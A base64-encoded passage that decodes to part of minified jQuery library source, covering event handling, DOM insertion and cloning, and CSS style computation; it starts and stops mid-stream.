ZG9dP2U6bmV3IFMuRXZlbnQoZSl9LHNwZWNpYWw6e2xvYWQ6e25vQnViYmxlOiEwfSxjbGljazp7c2V0dXA6ZnVuY3Rpb24oZSl7dmFyIHQ9dGhpc3x8ZTtyZXR1cm4gcGUudGVzdCh0LnR5cGUpJiZ0LmNsaWNrJiZBKHQsImlucHV0IikmJkFlKHQsImNsaWNrIixDZSksITF9LHRyaWdnZXI6ZnVuY3Rpb24oZSl7dmFyIHQ9dGhpc3x8ZTtyZXR1cm4gcGUudGVzdCh0LnR5cGUpJiZ0LmNsaWNrJiZBKHQsImlucHV0IikmJkFlKHQsImNsaWNrIiksITB9LF9kZWZhdWx0OmZ1bmN0aW9uKGUpe3ZhciB0PWUudGFyZ2V0O3JldHVybiBwZS50ZXN0KHQudHlwZSkmJnQuY2xpY2smJkEodCwiaW5wdXQiKSYmWS5nZXQodCwiY2xpY2siKXx8QSh0LCJhIil9fSxiZWZvcmV1bmxvYWQ6e3Bvc3REaXNwYXRjaDpmdW5jdGlvbihlKXt2b2lkIDAhPT1lLnJlc3VsdCYmZS5vcmlnaW5hbEV2ZW50JiYoZS5vcmlnaW5hbEV2ZW50LnJldHVyblZhbHVlPWUucmVzdWx0KX19fX0sUy5yZW1vdmVFdmVudD1mdW5jdGlvbihlLHQsbil7ZS5yZW1vdmVFdmVudExpc3RlbmVyJiZlLnJlbW92ZUV2ZW50TGlzdGVuZXIodCxuKX0sUy5FdmVudD1mdW5jdGlvbihlLHQpe2lmKCEodGhpcyBpbnN0YW5jZW9mIFMuRXZlbnQpKXJldHVybiBuZXcgUy5FdmVudChlLHQpO2UmJmUudHlwZT8odGhpcy5vcmlnaW5hbEV2ZW50PWUsdGhpcy50eXBlPWUudHlwZSx0aGlzLmlzRGVmYXVsdFByZXZlbnRlZD1lLmRlZmF1bHRQcmV2ZW50ZWR8fHZvaWQgMD09PWUuZGVmYXVsdFByZXZlbnRlZCYmITE9PT1lLnJldHVyblZhbHVlP0NlOkVlLHRoaXMudGFyZ2V0PWUudGFyZ2V0JiYzPT09ZS50YXJnZXQubm9kZVR5cGU/ZS50YXJnZXQucGFyZW50Tm9kZTplLnRhcmdldCx0aGlzLmN1cnJlbnRUYXJnZXQ9ZS5jdXJyZW50VGFyZ2V0LHRoaXMucmVsYXRlZFRhcmdldD1lLnJlbGF0ZWRUYXJnZXQpOnRoaXMudHlwZT1lLHQmJlMuZXh0ZW5kKHRoaXMsdCksdGhpcy50aW1lU3RhbXA9ZSYmZS50aW1lU3RhbXB8fERhdGUubm93KCksdGhpc1tTLmV4cGFuZG9dPSEwfSxTLkV2ZW50LnByb3RvdHlwZT17Y29uc3RydWN0b3I6Uy5FdmVudCxpc0RlZmF1bHRQcmV2ZW50ZWQ6RWUsaXNQcm9wYWdhdGlvblN0b3BwZWQ6RWUsaXNJbW1lZGlhdGVQcm9wYWdhdGlvblN0b3BwZWQ6RWUsaXNTaW11bGF0ZWQ6ITEscHJldmVudERlZmF1bHQ6ZnVuY3Rpb24oKXt2YXIgZT10aGlzLm9yaWdpbmFsRXZlbnQ7dGhpcy5pc0RlZmF1bHRQcmV2ZW50ZWQ9Q2UsZSYmIXRoaXMuaXNTaW11bGF0ZWQmJmUucHJldmVudERlZmF1bHQoKX0sc3RvcFByb3BhZ2F0aW9uOmZ1bmN0aW9uKCl7dmFyIGU9dGhpcy5vcmlnaW5hbEV2ZW50O3RoaXMuaXNQcm9wYWdhdGlvblN0b3BwZWQ9Q2UsZSYmIXRoaXMuaXNTaW11bGF0ZWQmJmUuc3RvcFByb3BhZ2F0aW9uKCl9LHN0b3BJbW1lZGlhdGVQcm9wYWdhdGlvbjpmdW5jdGlvbigpe3ZhciBlPXRoaXMub3JpZ2luYWxFdmVudDt0aGlzLmlzSW1tZWRpYXRlUHJvcGFnYXRpb25TdG9wcGVkPUNlLGUmJiF0aGlzLmlzU2ltdWxhdGVkJiZlLnN0b3BJbW1lZGlhdGVQcm9wYWdhdGlvbigpLHRoaXMuc3RvcFByb3BhZ2F0aW9uKCl9fSxTLmVhY2goe2FsdEtleTohMCxidWJibGVzOiEwLGNhbmNlbGFibGU6ITAsY2hhbmdlZFRvdWNoZXM6ITAsY3RybEtleTohMCxkZXRhaWw6ITAsZXZlbnRQaGFzZTohMCxtZXRhS2V5OiEwLHBhZ2VYOiEwLHBhZ2VZOiEwLHNoaWZ0S2V5OiEwLHZpZXc6ITAsImNoYXIiOiEwLGNvZGU6ITAsY2hhckNvZGU6ITAsa2V5OiEwLGtleUNvZGU6ITAsYnV0dG9uOiEwLGJ1dHRvbnM6ITAsY2xpZW50WDohMCxjbGllbnRZOiEwLG9mZnNldFg6ITAsb2Zmc2V0WTohMCxwb2ludGVySWQ6ITAscG9pbnRlclR5cGU6ITAsc2NyZWVuWDohMCxzY3JlZW5ZOiEwLHRhcmdldFRvdWNoZXM6ITAsdG9FbGVtZW50OiEwLHRvdWNoZXM6ITAsd2hpY2g6ZnVuY3Rpb24oZSl7dmFyIHQ9ZS5idXR0b247cmV0dXJuIG51bGw9PWUud2hpY2gmJmJlLnRlc3QoZS50eXBlKT9udWxsIT1lLmNoYXJDb2RlP2UuY2hhckNvZGU6ZS5rZXlDb2RlOiFlLndoaWNoJiZ2b2lkIDAhPT10JiZ3ZS50ZXN0KGUudHlwZSk/MSZ0PzE6MiZ0PzM6NCZ0PzI6MDplLndoaWNofX0sUy5ldmVudC5hZGRQcm9wKSxTLmVhY2goe2ZvY3VzOiJmb2N1c2luIixibHVyOiJmb2N1c291dCJ9LGZ1bmN0aW9uKGUsdCl7Uy5ldmVudC5zcGVjaWFsW2VdPXtzZXR1cDpmdW5jdGlvbigpe3JldHVybiBBZSh0aGlzLGUsU2UpLCExfSx0cmlnZ2VyOmZ1bmN0aW9uKCl7cmV0dXJuIEFlKHRoaXMsZSksITB9LGRlbGVnYXRlVHlwZTp0fX0pLFMuZWFjaCh7bW91c2VlbnRlcjoibW91c2VvdmVyIixtb3VzZWxlYXZlOiJtb3VzZW91dCIscG9pbnRlcmVudGVyOiJwb2ludGVyb3ZlciIscG9pbnRlcmxlYXZlOiJwb2ludGVyb3V0In0sZnVuY3Rpb24oZSxpKXtTLmV2ZW50LnNwZWNpYWxbZV09e2RlbGVnYXRlVHlwZTppLGJpbmRUeXBlOmksaGFuZGxlOmZ1bmN0aW9uKGUpe3ZhciB0LG49ZS5yZWxhdGVkVGFyZ2V0LHI9ZS5oYW5kbGVPYmo7cmV0dXJuIG4mJihuPT09dGhpc3x8Uy5jb250YWlucyh0aGlzLG4pKXx8KGUudHlwZT1yLm9yaWdUeXBlLHQ9ci5oYW5kbGVyLmFwcGx5KHRoaXMsYXJndW1lbnRzKSxlLnR5cGU9aSksdH19fSksUy5mbi5leHRlbmQoe29uOmZ1bmN0aW9uKGUsdCxuLHIpe3JldHVybiBrZSh0aGlzLGUsdCxuLHIpfSxvbmU6ZnVuY3Rpb24oZSx0LG4scil7cmV0dXJuIGtlKHRoaXMsZSx0LG4sciwxKX0sb2ZmOmZ1bmN0aW9uKGUsdCxuKXt2YXIgcixpO2lmKGUmJmUucHJldmVudERlZmF1bHQmJmUuaGFuZGxlT2JqKXJldHVybiByPWUuaGFuZGxlT2JqLFMoZS5kZWxlZ2F0ZVRhcmdldCkub2ZmKHIubmFtZXNwYWNlP3Iub3JpZ1R5cGUrIi4iK3IubmFtZXNwYWNlOnIub3JpZ1R5cGUsci5zZWxlY3RvcixyLmhhbmRsZXIpLHRoaXM7aWYoIm9iamVjdCI9PXR5cGVvZiBlKXtmb3IoaSBpbiBlKXRoaXMub2ZmKGksdCxlW2ldKTtyZXR1cm4gdGhpc31yZXR1cm4hMSE9PXQmJiJmdW5jdGlvbiIhPXR5cGVvZiB0fHwobj10LHQ9dm9pZCAwKSwhMT09PW4mJihuPUVlKSx0aGlzLmVhY2goZnVuY3Rpb24oKXtTLmV2ZW50LnJlbW92ZSh0aGlzLGUsbix0KX0pfX0pO3ZhciBOZT0vPHNjcmlwdHw8c3R5bGV8PGxpbmsvaSxEZT0vY2hlY2tlZFxzKig/OltePV18PVxzKi5jaGVja2VkLikvaSxqZT0vXlxzKjwhKD86XFtDREFUQVxbfC0tKXwoPzpcXVxdfC0tKT5ccyokL2c7ZnVuY3Rpb24gcWUoZSx0KXtyZXR1cm4gQShlLCJ0YWJsZSIpJiZBKDExIT09dC5ub2RlVHlwZT90OnQuZmlyc3RDaGlsZCwidHIiKSYmUyhlKS5jaGlsZHJlbigidGJvZHkiKVswXXx8ZX1mdW5jdGlvbiBMZShlKXtyZXR1cm4gZS50eXBlPShudWxsIT09ZS5nZXRBdHRyaWJ1dGUoInR5cGUiKSkrIi8iK2UudHlwZSxlfWZ1bmN0aW9uIEhlKGUpe3JldHVybiJ0cnVlLyI9PT0oZS50eXBlfHwiIikuc2xpY2UoMCw1KT9lLnR5cGU9ZS50eXBlLnNsaWNlKDUpOmUucmVtb3ZlQXR0cmlidXRlKCJ0eXBlIiksZX1mdW5jdGlvbiBPZShlLHQpe3ZhciBuLHIsaSxvLGEscztpZigxPT09dC5ub2RlVHlwZSl7aWYoWS5oYXNEYXRhKGUpJiYocz1ZLmdldChlKS5ldmVudHMpKWZvcihpIGluIFkucmVtb3ZlKHQsImhhbmRsZSBldmVudHMiKSxzKWZvcihuPTAscj1zW2ldLmxlbmd0aDtuPHI7bisrKVMuZXZlbnQuYWRkKHQsaSxzW2ldW25dKTtRLmhhc0RhdGEoZSkmJihvPVEuYWNjZXNzKGUpLGE9Uy5leHRlbmQoe30sbyksUS5zZXQodCxhKSl9fWZ1bmN0aW9uIFBlKG4scixpLG8pe3I9ZyhyKTt2YXIgZSx0LGEscyx1LGwsYz0wLGY9bi5sZW5ndGgscD1mLTEsZD1yWzBdLGg9bShkKTtpZihofHwxPGYmJiJzdHJpbmciPT10eXBlb2YgZCYmIXkuY2hlY2tDbG9uZSYmRGUudGVzdChkKSlyZXR1cm4gbi5lYWNoKGZ1bmN0aW9uKGUpe3ZhciB0PW4uZXEoZSk7aCYmKHJbMF09ZC5jYWxsKHRoaXMsZSx0Lmh0bWwoKSkpLFBlKHQscixpLG8pfSk7aWYoZiYmKHQ9KGU9eGUocixuWzBdLm93bmVyRG9jdW1lbnQsITEsbixvKSkuZmlyc3RDaGlsZCwxPT09ZS5jaGlsZE5vZGVzLmxlbmd0aCYmKGU9dCksdHx8bykpe2ZvcihzPShhPVMubWFwKHZlKGUsInNjcmlwdCIpLExlKSkubGVuZ3RoO2M8ZjtjKyspdT1lLGMhPT1wJiYodT1TLmNsb25lKHUsITAsITApLHMmJlMubWVyZ2UoYSx2ZSh1LCJzY3JpcHQiKSkpLGkuY2FsbChuW2NdLHUsYyk7aWYocylmb3IobD1hW2EubGVuZ3RoLTFdLm93bmVyRG9jdW1lbnQsUy5tYXAoYSxIZSksYz0wO2M8cztjKyspdT1hW2NdLGhlLnRlc3QodS50eXBlfHwiIikmJiFZLmFjY2Vzcyh1LCJnbG9iYWxFdmFsIikmJlMuY29udGFpbnMobCx1KSYmKHUuc3JjJiYibW9kdWxlIiE9PSh1LnR5cGV8fCIiKS50b0xvd2VyQ2FzZSgpP1MuX2V2YWxVcmwmJiF1Lm5vTW9kdWxlJiZTLl9ldmFsVXJsKHUuc3JjLHtub25jZTp1Lm5vbmNlfHx1LmdldEF0dHJpYnV0ZSgibm9uY2UiKX0sbCk6Yih1LnRleHRDb250ZW50LnJlcGxhY2UoamUsIiIpLHUsbCkpfXJldHVybiBufWZ1bmN0aW9uIFJlKGUsdCxuKXtmb3IodmFyIHIsaT10P1MuZmlsdGVyKHQsZSk6ZSxvPTA7bnVsbCE9KHI9aVtvXSk7bysrKW58fDEhPT1yLm5vZGVUeXBlfHxTLmNsZWFuRGF0YSh2ZShyKSksci5wYXJlbnROb2RlJiYobiYmaWUocikmJnllKHZlKHIsInNjcmlwdCIpKSxyLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQocikpO3JldHVybiBlfVMuZXh0ZW5kKHtodG1sUHJlZmlsdGVyOmZ1bmN0aW9uKGUpe3JldHVybiBlfSxjbG9uZTpmdW5jdGlvbihlLHQsbil7dmFyIHIsaSxvLGEscyx1LGwsYz1lLmNsb25lTm9kZSghMCksZj1pZShlKTtpZighKHkubm9DbG9uZUNoZWNrZWR8fDEhPT1lLm5vZGVUeXBlJiYxMSE9PWUubm9kZVR5cGV8fFMuaXNYTUxEb2MoZSkpKWZvcihhPXZlKGMpLHI9MCxpPShvPXZlKGUpKS5sZW5ndGg7cjxpO3IrKylzPW9bcl0sdT1hW3JdLHZvaWQgMCwiaW5wdXQiPT09KGw9dS5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpKSYmcGUudGVzdChzLnR5cGUpP3UuY2hlY2tlZD1zLmNoZWNrZWQ6ImlucHV0IiE9PWwmJiJ0ZXh0YXJlYSIhPT1sfHwodS5kZWZhdWx0VmFsdWU9cy5kZWZhdWx0VmFsdWUpO2lmKHQpaWYobilmb3Iobz1vfHx2ZShlKSxhPWF8fHZlKGMpLHI9MCxpPW8ubGVuZ3RoO3I8aTtyKyspT2Uob1tyXSxhW3JdKTtlbHNlIE9lKGUsYyk7cmV0dXJuIDA8KGE9dmUoYywic2NyaXB0IikpLmxlbmd0aCYmeWUoYSwhZiYmdmUoZSwic2NyaXB0IikpLGN9LGNsZWFuRGF0YTpmdW5jdGlvbihlKXtmb3IodmFyIHQsbixyLGk9Uy5ldmVudC5zcGVjaWFsLG89MDt2b2lkIDAhPT0obj1lW29dKTtvKyspaWYoVihuKSl7aWYodD1uW1kuZXhwYW5kb10pe2lmKHQuZXZlbnRzKWZvcihyIGluIHQuZXZlbnRzKWlbcl0/Uy5ldmVudC5yZW1vdmUobixyKTpTLnJlbW92ZUV2ZW50KG4scix0LmhhbmRsZSk7bltZLmV4cGFuZG9dPXZvaWQgMH1uW1EuZXhwYW5kb10mJihuW1EuZXhwYW5kb109dm9pZCAwKX19fSksUy5mbi5leHRlbmQoe2RldGFjaDpmdW5jdGlvbihlKXtyZXR1cm4gUmUodGhpcyxlLCEwKX0scmVtb3ZlOmZ1bmN0aW9uKGUpe3JldHVybiBSZSh0aGlzLGUpfSx0ZXh0OmZ1bmN0aW9uKGUpe3JldHVybiAkKHRoaXMsZnVuY3Rpb24oZSl7cmV0dXJuIHZvaWQgMD09PWU/Uy50ZXh0KHRoaXMpOnRoaXMuZW1wdHkoKS5lYWNoKGZ1bmN0aW9uKCl7MSE9PXRoaXMubm9kZVR5cGUmJjExIT09dGhpcy5ub2RlVHlwZSYmOSE9PXRoaXMubm9kZVR5cGV8fCh0aGlzLnRleHRDb250ZW50PWUpfSl9LG51bGwsZSxhcmd1bWVudHMubGVuZ3RoKX0sYXBwZW5kOmZ1bmN0aW9uKCl7cmV0dXJuIFBlKHRoaXMsYXJndW1lbnRzLGZ1bmN0aW9uKGUpezEhPT10aGlzLm5vZGVUeXBlJiYxMSE9PXRoaXMubm9kZVR5cGUmJjkhPT10aGlzLm5vZGVUeXBlfHxxZSh0aGlzLGUpLmFwcGVuZENoaWxkKGUpfSl9LHByZXBlbmQ6ZnVuY3Rpb24oKXtyZXR1cm4gUGUodGhpcyxhcmd1bWVudHMsZnVuY3Rpb24oZSl7aWYoMT09PXRoaXMubm9kZVR5cGV8fDExPT09dGhpcy5ub2RlVHlwZXx8OT09PXRoaXMubm9kZVR5cGUpe3ZhciB0PXFlKHRoaXMsZSk7dC5pbnNlcnRCZWZvcmUoZSx0LmZpcnN0Q2hpbGQpfX0pfSxiZWZvcmU6ZnVuY3Rpb24oKXtyZXR1cm4gUGUodGhpcyxhcmd1bWVudHMsZnVuY3Rpb24oZSl7dGhpcy5wYXJlbnROb2RlJiZ0aGlzLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKGUsdGhpcyl9KX0sYWZ0ZXI6ZnVuY3Rpb24oKXtyZXR1cm4gUGUodGhpcyxhcmd1bWVudHMsZnVuY3Rpb24oZSl7dGhpcy5wYXJlbnROb2RlJiZ0aGlzLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKGUsdGhpcy5uZXh0U2libGluZyl9KX0sZW1wdHk6ZnVuY3Rpb24oKXtmb3IodmFyIGUsdD0wO251bGwhPShlPXRoaXNbdF0pO3QrKykxPT09ZS5ub2RlVHlwZSYmKFMuY2xlYW5EYXRhKHZlKGUsITEpKSxlLnRleHRDb250ZW50PSIiKTtyZXR1cm4gdGhpc30sY2xvbmU6ZnVuY3Rpb24oZSx0KXtyZXR1cm4gZT1udWxsIT1lJiZlLHQ9bnVsbD09dD9lOnQsdGhpcy5tYXAoZnVuY3Rpb24oKXtyZXR1cm4gUy5jbG9uZSh0aGlzLGUsdCl9KX0saHRtbDpmdW5jdGlvbihlKXtyZXR1cm4gJCh0aGlzLGZ1bmN0aW9uKGUpe3ZhciB0PXRoaXNbMF18fHt9LG49MCxyPXRoaXMubGVuZ3RoO2lmKHZvaWQgMD09PWUmJjE9PT10Lm5vZGVUeXBlKXJldHVybiB0LmlubmVySFRNTDtpZigic3RyaW5nIj09dHlwZW9mIGUmJiFOZS50ZXN0KGUpJiYhZ2VbKGRlLmV4ZWMoZSl8fFsiIiwiIl0pWzFdLnRvTG93ZXJDYXNlKCldKXtlPVMuaHRtbFByZWZpbHRlcihlKTt0cnl7Zm9yKDtuPHI7bisrKTE9PT0odD10aGlzW25dfHx7fSkubm9kZVR5cGUmJihTLmNsZWFuRGF0YSh2ZSh0LCExKSksdC5pbm5lckhUTUw9ZSk7dD0wfWNhdGNoKGUpe319dCYmdGhpcy5lbXB0eSgpLmFwcGVuZChlKX0sbnVsbCxlLGFyZ3VtZW50cy5sZW5ndGgpfSxyZXBsYWNlV2l0aDpmdW5jdGlvbigpe3ZhciBuPVtdO3JldHVybiBQZSh0aGlzLGFyZ3VtZW50cyxmdW5jdGlvbihlKXt2YXIgdD10aGlzLnBhcmVudE5vZGU7Uy5pbkFycmF5KHRoaXMsbik8MCYmKFMuY2xlYW5EYXRhKHZlKHRoaXMpKSx0JiZ0LnJlcGxhY2VDaGlsZChlLHRoaXMpKX0sbil9fSksUy5lYWNoKHthcHBlbmRUbzoiYXBwZW5kIixwcmVwZW5kVG86InByZXBlbmQiLGluc2VydEJlZm9yZToiYmVmb3JlIixpbnNlcnRBZnRlcjoiYWZ0ZXIiLHJlcGxhY2VBbGw6InJlcGxhY2VXaXRoIn0sZnVuY3Rpb24oZSxhKXtTLmZuW2VdPWZ1bmN0aW9uKGUpe2Zvcih2YXIgdCxuPVtdLHI9UyhlKSxpPXIubGVuZ3RoLTEsbz0wO288PWk7bysrKXQ9bz09PWk/dGhpczp0aGlzLmNsb25lKCEwKSxTKHJbb10pW2FdKHQpLHUuYXBwbHkobix0LmdldCgpKTtyZXR1cm4gdGhpcy5wdXNoU3RhY2sobil9fSk7dmFyIE1lPW5ldyBSZWdFeHAoIl4oIitlZSsiKSg/IXB4KVthLXolXSskIiwiaSIpLEllPWZ1bmN0aW9uKGUpe3ZhciB0PWUub3duZXJEb2N1bWVudC5kZWZhdWx0VmlldztyZXR1cm4gdCYmdC5vcGVuZXJ8fCh0PUMpLHQuZ2V0Q29tcHV0ZWRTdHlsZShlKX0sV2U9ZnVuY3Rpb24oZSx0LG4pe3ZhciByLGksbz17fTtmb3IoaSBpbiB0KW9baV09ZS5zdHlsZVtpXSxlLnN0eWxlW2ldPXRbaV07Zm9yKGkgaW4gcj1uLmNhbGwoZSksdCllLnN0eWxlW2ldPW9baV07cmV0dXJuIHJ9LEZlPW5ldyBSZWdFeHAobmUuam9pbigifCIpLCJpIik7ZnVuY3Rpb24gQmUoZSx0LG4pe3ZhciByLGksbyxhLHM9ZS5zdHlsZTtyZXR1cm4obj1ufHxJZShlKSkmJigiIiE9PShhPW4uZ2V0UHJvcGVydHlWYWx1ZSh0KXx8blt0XSl8fGllKGUpfHwoYT1TLnN0eWxlKGUsdCkpLCF5LnBpeGVsQm94U3R5bGVzKCkmJk1lLnRlc3QoYSkmJkZlLnRlc3QodCkmJihyPXMud2lkdGgsaT1zLm1pbldpZHRoLG89cy5tYXhXaWR0aCxzLm1pbldpZHRoPXMubWF4V2lkdGg9cy53aWR0aD1hLGE9bi53aWR0aCxzLndpZHRoPXIscy5taW5XaWR0aD1pLHMubWF4V2lkdGg9bykpLHZvaWQgMCE9PWE/YSsiIjphfWZ1bmN0aW9uICRlKGUsdCl7cmV0dXJue2dldDpmdW5jdGlvbigpe2lmKCFlKCkpcmV0dXJuKHRoaXMuZ2V0PXQpLmFwcGx5KHRoaXMsYXJndW1lbnRzKTtkZWxldGUgdGhpcy5nZXR9fX0hZnVuY3Rpb24oKXtmdW5jdGlvbiBlKCl7aWYobCl7dS5zdHlsZS5jc3NUZXh0PSJwb3NpdGlvbjphYnNvbHV0ZTtsZWZ0Oi0xMTExMXB4O3dpZHRoOjYwcHg7bWFyZ2luLXRvcDoxcHg7cGFkZGluZzowO2JvcmRlcjowIixsLnN0eWxlLmNzc1RleHQ9InBvc2l0aW9uOnJlbGF0aXZlO2Rpc3BsYXk6YmxvY2s7Ym94LXNpemluZzpib3JkZXItYm94O292ZXJmbG93OnNjcm9sbDttYXJnaW46YXV0bztib3JkZXI6MXB4O3BhZGRpbmc6MXB4O3dpZHRoOjYwJTt0b3A6MSUiLHJlLmFwcGVuZENoaWxkKHUpLmFwcGVuZENoaWxkKGwpO3ZhciBlPUMuZ2V0Q29tcHV0ZWRTdHlsZShsKTtuPSIxJSIhPT1lLnRvcCxzPTEyPT09dChlLm1hcmdpbkxlZnQpLGwuc3R5bGUucmlnaHQ9IjYwJSIsbz0zNj09PXQoZS5yaWdodCkscj0zNj09PXQoZS53aWR0aCksbC5zdHlsZS5wb3NpdGlvbj0iYWJzb2x1dGUiLGk9MTI9PT10KGwub2Zmc2V0V2lkdGgvMykscmUucmVtb3ZlQ2hpbGQodSksbD1udWxsfX1mdW5jdGlvbiB0KGUpe3JldHVybiBNYXRoLnJvdW5kKHBhcnNlRmxvYXQoZSkpfXZhciBuLHIsaSxvLGEscyx1PUUuY3JlYXRlRWxlbWVudCgiZGl2IiksbD1FLmNyZWF0ZUVsZW1lbnQoImRpdiIpO2wuc3R5bGUmJihsLnN0eWxlLmJhY2tncm91bmRDbGlwPSJjb250ZW50LWJveCIsbC5jbG9uZU5vZGUoITApLnN0eWxlLmJhY2tncm91bmRDbGlwPSIiLHkuY2xlYXJDbG9uZVN0eWxlPSJjb250ZW50LWJveCI9PT1sLnN0eWxlLmJhY2tncm91bmRDbGlwLFMuZXh0ZW5kKHkse2JveFNpemluZ1JlbGlhYmxlOmZ1bmN0aW9uKCl7cmV0dXJuIGUoKSxyfSxwaXhlbEJveFN0eWxlczpmdW5jdGlvbigpe3JldHVybiBlKCksb30scGl4ZWxQb3NpdGlvbjpmdW5jdGlvbigpe3JldHVybiBlKCksbn0scmVsaWFibGVNYXJnaW5MZWZ0OmZ1bmN0aW9uKCl7cmV0dXJuIGUoKSxzfSxzY3JvbGxib3hTaXplOmZ1bmN0aW9uKCl7cmV0dXJuIGUoKSxpfSxyZWxpYWJsZVRyRGltZW5zaW9uczpmdW5jdGlvbigpe3ZhciBlLHQsbixyO3JldHVybiBudWxsPT1hJiYoZT1FLmNyZWF0ZUVsZW1lbnQoInRhYmxlIiksdD1FLmNyZWF0ZUVsZW1lbnQoInRyIiksbj1FLmNyZWF0ZUVsZW1lbnQoImRpdiIpLGUuc3R5bGUuY3NzVGV4dD0icG9zaXRpb246YWJzb2x1dGU7bGVmdDotMTExMTFweCIsdC5zdHlsZS5oZWlnaHQ9IjFweCIsbi5zdHlsZS5oZWlnaHQ9IjlweCIscmUuYXBwZW5kQ2hpbGQoZSkuYXBwZW5kQ2hpbGQodCkuYXBwZW5kQ2hpbGQobikscj1DLmdldENvbXB1dGVkU3R5bGUodCksYT0zPHBhcnNlSW50KHIuaGVpZ2h0KSxyZS5yZW1vdmVDaGlsZChlKSksYX19KSl9KCk7dmFyIF9lPVsiV2Via2l0IiwiTW96IiwibXMiXSx6ZT1FLmNyZWF0ZUVsZW1lbnQoImRpdiIpLnN0eWxlLFVlPXt9O2Z1bmN0aW9uIFhlKGUpe3ZhciB0PVMuY3NzUHJvcHNbZV18fFVlW2VdO3JldHVybiB0fHwoZSBpbiB6ZT9lOlVlW2VdPWZ1bmN0aW9uKGUpe3ZhciB0PWVbMF0udG9VcHBlckNhc2UoKStlLnNsaWNlKDEpLG49X2UubGVuZ3RoO3doaWxlKG4tLSlpZigoZT1fZVtuXSt0KWluIHplKXJldHVybiBlfShlKXx8ZSl9dmFyIFZlPS9eKG5vbmV8dGFibGUoPyEtY1tlYV0pLispLyxHZT0vXi0tLyxZZT17cG9zaXRpb246ImFic29sdXRlIix2aXNpYmlsaXR5OiJoaWRkZW4iLGRpc3BsYXk6ImJsb2NrIn0sUWU9e2xldHRlclNwYWNpbmc6IjAiLGZvbnRXZWlnaHQ6IjQwMCJ9O2Z1bmN0aW9uIEplKGUsdCxuKXt2YXIgcj10ZS5leGVjKHQpO3JldHVybiByP01hdGgubWF4KDAsclsyXS0obnx8MCkpKyhyWzNdfHwicHgiKTp0fWZ1bmN0aW9uIEtlKGUsdCxuLHIsaSxvKXt2YXIgYT0id2lkdGgiPT09dD8xOjAscz0wLHU9MDtpZihuPT09KHI/ImJvcmRlciI6ImNvbnRlbnQiKSlyZXR1cm4gMDtmb3IoO2E8NDthKz0yKSJtYXJnaW4iPT09biYmKHUrPVMuY3NzKGUsbituZVthXSwhMCxpKSkscj8oImNvbnRlbnQiPT09biYmKHUtPVMuY3NzKGUsInBhZGRpbmciK25lW2FdLCEwLGkpKSwibWFyZ2luIiE9PW4mJih1LT1TLmNzcyhlLCJib3JkZXIiK25lW2FdKyJXaWR0aCIsITAsaSkpKToodSs9Uy5jc3MoZSwicGFkZGluZyIrbmVbYV0sITAsaSksInBhZGRpbmciIT09bj91Kz1TLmNzcyhlLCJib3JkZXIiK25lW2FdKyJXaWR0aCIsITAsaSk6cys9Uy5jc3MoZSwiYm9yZGVyIituZVthXSsiV2lkdGgiLCEwLGkpKTtyZXR1cm4hciYmMDw9byYmKHUrPU1hdGgubWF4KDAsTWF0aC5jZWlsKGVbIm9mZnNldCIrdFswXS50b1VwcGVyQ2FzZSgpK3Quc2xpY2UoMSldLW8tdS1zLS41KSl8fDApLHV9ZnVuY3Rpb24gWmUoZSx0LG4pe3ZhciByPUllKGUpLGk9KCF5LmJveFNpemluZ1JlbGlhYmxlKCl8fG4pJiYiYm9yZGVyLWJveCI9PT1TLmNzcyhlLCJib3hTaXppbmciLCExLHIpLG89aSxhPUJlKGUsdCxyKSxzPSJvZmZzZXQiK3RbMF0udG9VcHBlckNhc2UoKSt0LnNsaWNlKDEpO2lmKE1lLnRlc3QoYSkpe2lmKCFuKXJldHVybiBhO2E9ImF1dG8ifXJldHVybigheS5ib3hTaXppbmdSZWxpYWJsZSgpJiZpfHwheS5yZWxpYWJsZVRyRGltZW5zaW9ucygpJiZBKGUsInRyIil8fCJhdXRvIj09PWF8fCFwYXJzZUZsb2F0KGEpJiYiaW5saW5lIj09PVMuY3NzKGUsImRpc3BsYXkiLCExLHIpKSYmZS5nZXRDbGllbnRSZWN0cygpLmxlbmd0aCYmKGk9ImJvcmRlci1ib3giPT09Uy5jc3MoZSwiYm94U2l6aW5nIiwhMSxyKSwobz1zIGluIGUpJiYoYT1lW3NdKSksKGE9cGFyc2VGbG9hdChhKXx8MCkrS2UoZSx0LG58fChpPyJib3JkZXIiOiJjb250ZW50IiksbyxyLGEpKyJweCJ9ZnVuY3Rpb24gZXQoZSx0LG4scixpKXtyZXR1cm4gbmV3IGV0LnByb3RvdHlwZS5pbml0KGUsdCxuLHIsaSl9Uy5leHRlbmQoe2Nzc0hvb2tzOntvcGFjaXR5OntnZXQ6ZnVuY3Rpb24oZSx0KXtpZih0KXt2YXIgbj1CZShlLCJvcGFjaXR5Iik7cmV0dXJuIiI9PT1uPyIxIjpufX19fSxjc3NOdW1iZXI6e2FuaW1hdGlvbkl0ZXJhdGlvbkNvdW50OiEwLGNvbHVtbkNvdW50OiEwLGZpbGxPcGFjaXR5OiEwLGZsZXhHcm93OiEwLGZsZXhTaHJpbms6ITAsZm9udFdlaWdodDohMCxncmlkQXJlYTohMCxncmlkQ29sdW1uOiEwLGdyaWRDb2x1bW5FbmQ6ITAsZ3JpZENvbHVtblN0YXJ0OiEwLGdyaWRSb3c6ITAsZ3JpZFJvd0VuZDohMCxncmlkUm93U3RhcnQ6ITAsbGluZUhlaWdodDohMCxvcGFjaXR5OiEwLG9yZGVyOiEwLG9ycGhhbnM6ITAsd2lkb3dzOiEwLHpJbmRleDohMCx6b29tOiEwfSxjc3NQcm9wczp7fSxzdHlsZTpmdW5jdGlvbihlLHQsbixyKXtpZihlJiYzIT09ZS5ub2RlVHlwZSYmOCE9PWUubm9kZVR5cGUmJmUuc3R5bGUpe3ZhciBpLG8sYSxzPVgodCksdT1HZS50ZXN0KHQpLGw9ZS5zdHlsZTtpZih1fHwodD1YZShzKSksYT1TLmNzc0hvb2tzW3RdfHxTLmNzc0hvb2tzW3NdLHZvaWQgMD09PW4pcmV0dXJuIGEmJiJnZXQiaW4gYSYmdm9pZCAwIT09KGk9YS5nZXQoZSwhMSxyKSk/aTpsW3RdOyJzdHJpbmciPT09KG89dHlwZW9mIG4pJiYoaT10ZS5leGVjKG4pKSYmaVsxXSYmKG49c2UoZSx0LGkpLG89Im51bWJlciIpLG51bGwhPW4mJm49PW4mJigibnVtYmVyIiE9PW98fHV8fChuKz1pJiZpWzNdfHwoUy5jc3NOdW1iZXJbc10/IiI6InB4IikpLHkuY2xlYXJDbG9uZVN0eWxlfH